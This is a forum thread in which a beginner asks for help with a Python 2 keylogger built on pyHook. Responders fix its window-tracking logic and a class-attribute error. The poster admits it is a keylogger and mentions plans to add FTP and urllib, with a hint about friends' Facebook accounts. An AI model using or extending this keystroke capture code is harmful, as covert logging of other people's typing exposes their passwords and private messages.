Hi, I'm trying to code a little Python script using the PyHook library. My script prints in the program every key pressed by the user, and the name of the window where he did it.

But what I want for the program to do is to print the name of the window one time, all the keys pressed on it and only write the name of the window again if it changes. Here is the actual code:

import pythoncom, pyHook

def stroke(event):
    print event.WindowName
    print event.Key

ph = pyHook.HookManager()
ph.KeyDown = stroke
ph.HookKeyboard()
pythoncom.PumpMessages()

Thanks in advance and please excuse my limited english.

Fyrox

Recommended Answers

All 11 Replies

Don't use the libraries, so can not test, but something similar to this, maybe:

import pythoncom, pyHook

def stroke(event):
    if event.WindowName != stroke.current_window:
         print event.WindowName
         stroke.current_window = event.WindowName
    print event.Key
stroke.current_window = None

ph = pyHook.HookManager()
ph.KeyDown = stroke
ph.HookKeyboard()
pythoncom.PumpMessages()

Works great! Thanks a lot :) Now just out of curiosity, how does it works?

As functions are objects which can have attributes in them, we use one as static value, first initializing it to None. Global variables are considered ugly, though you could use them by using global keyword and this gives kind of "half Object Oriented version" (using objects but not writing classes ourself). Alternative would be to give stroke an extra key parameter which would remember the static value, see http://www.daniweb.com/software-development/python/code/366669

looks like someboy's tryin' to make a keylogger :icon_wink:

Well, yes, but it's just for learning about pyHook library and things i've never used in Python, such as ftplib, urllib or working with files. Also trying to learn more about classes, I don't care about my friends Facebook ._.

Just expanded the script and I get an error in the stroke function again. Don't know very well how to use classes so couldn't fix it. Here's the new code:

import pythoncom, pyHook, sys, urllib, datetime

def static_vars(**kwargs):
	"""Decorator for creating function object attributes"""
	def T(f):
		f.__dict__.update(kwargs)
		return f
	return T

class Kaley:
    def getIP(self):
        url = urllib.URLopener()
        resp = url.open("http://automation.whatismyip.com/n09230945.asp")
        html = resp.read(114)
        return html

    def getDate(self):
        now = datetime.datetime.now()
        return now.strftime("%Y-%m-%d")
    
    @static_vars(current_window = None)
    def stroke(self, event):
        if event.WindowName != self.stroke.current_window:
            print event.WindowName
            self.stroke.current_window = event.WindowName
            
        if event.Ascii == 32 or event.Ascii == 9:
            print " ",
        elif event.Ascii == 13:
            print ""
        else:
            sys.stdout.write(event.Key)
            

log = Kaley()
ph = pyHook.HookManager()
ph.KeyDown = log.stroke
ph.HookKeyboard()
pythoncom.PumpMessages()        
start = Kaley()

getDate and getIP are for a future function that I will create when I finish with stroke so don't worry about them right now. Thanks.

I haven't used pyhook, but what's the error?

Well, I think it's more a variable error than a pyHook error, but here it is:

Traceback (most recent call last):
  File "C:\Python27\lib\site-packages\pyHook\HookManager.py", line 351, in Keybo
ardSwitch
    return func(event)
  File "C:\Users\MyUser\Desktop\Kaley.py", line 25, in stroke
    self.stroke.current_window = event.WindowName
AttributeError: 'instancemethod' object has no attribute 'current_window'

You have the decorator or class not both. Decorator access variable as local variable ie

current_window

. As you have class you should store it as instance variable self.current_window initialized in __init__ function and take out the decorator stuff.

Well it looks like some of the code the error is referring to isn't here, however it could be if event.WindowName != self.stroke.current_window: and before that I don't see self.stroke.current_window defined at all, so it's plausible that there's nothing to check it against so it's throwing the attribute error "because the attribute does not yet exist". Not positive, but it would be the first thing I would check.

WoW, Thanks a lot again pyTony, you're a Python master! And sorry for asking too much, I started learning Python 2 weeks ago, so I haven't controlled it yet :/

EDIT: pyguy answered while I was writing. Thanks too!

Be a part of the DaniWeb community

We're a friendly, industry-focused community of developers, IT pros, digital marketers, and technology enthusiasts meeting, networking, learning, and sharing knowledge.